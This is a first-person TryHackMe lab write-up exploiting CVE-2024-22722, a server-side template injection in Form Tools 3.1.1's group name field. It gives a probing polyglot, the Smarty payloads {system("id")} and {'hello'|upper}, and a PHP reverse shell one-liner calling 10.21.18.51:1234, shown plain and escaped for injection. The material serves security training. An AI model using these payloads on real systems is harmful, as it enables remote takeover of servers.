This entry documents a completed exploitation exercise targeting CVE 2024 22722 in Form Tools version 3.1.1. The engagement was performed in a controlled environment following a TryHackMe room scenario. The objective was to confirm a server side template injection vulnerability in the form creation workflow, to identify the template engine in use, and to demonstrate command execution and a practical proof of concept for remote code execution.
Form Tools is an open source PHP application for building and managing web forms and storing form data on a MySQL backend. It is widely used to create data capture workflows without custom coding. A server side template injection vulnerability in the group name field under the add forms flow can allow an attacker to run arbitrary commands on the host by injecting template expressions that the server evaluates. This issue is tracked as CVE-2024-22722 and has been published in common vulnerability databases and advisory feeds.
The assessment followed a standard web application exploitation workflow that mirrors professional pentest practice. Steps included authenticated access to administration functions, identification of user controlled template data, safe probing to detect template evaluation and template engine fingerprinting, controlled command execution to confirm exploitability, and development of a proof of concept reverse shell. All actions were limited to an isolated test instance provided by the TryHackMe exercise. Public advisories and vendor documentation were referenced to validate findings and to ensure the results aligned with published details.
Administrator login
I authenticated to the application as the administrator and verified access to the form builder user interface.
Creating an internal form
I created a new form, selected internal forms, named the form, and specified the number of fields needed for the exercise. The creation process showed an editable group name element which became our attack surface.
Identifying a template evaluation point
Under the view tab I added and updated a group name. The value I entered was reflected back in the interface which suggested server side template rendering.
I tested a known server side template injection polyglot ${{<%[%'"}}%\.which produced an error that revealed the template engine and confirmed that template expressions were evaluated on the server. The error message indicated the engine in use was PHP Smarty.
Engine fingerprinting with a benign expression
To confirm Smarty I submitted a small test expression that calls the built in filter functions. The payload {'hello'|upper} returned HELLO as the updated group name which proved that Smarty expressions were evaluated and that the application applied them to user supplied group names.
From evaluation to command execution
Knowing that Smarty can execute system commands through its function syntax I tried a proof of concept system command. The payload {system("id")} returned the expected output for the system id command which confirmed remote command execution capability via the template injection vector.
Preparing a reverse shell payload
With command execution confirmed I generated a PHP reverse shell payload suitable for execution via the template call. Because the command is placed inside double quotes in the template expression it was necessary to escape embedded double quotes and to escape shell sensitive characters such as the dollar sign $ so the command reaches PHP intact. Escaping ensures the literal characters are preserved until PHP executes the payload. The prepared payload was adapted from a known reverse shell template and escaped accordingly so it could be injected into the system call.
##The command from revshells.com
php -r '$sock=fsockopen("10.21.18.51",1234);exec("sh <&3 >&3 2>&3");'
##The command with the the escaped characters
php -r '\$sock=fsockopen(\"10.21.18.51\",1234);exec(\"sh <&3 >&3 2>&3\");'
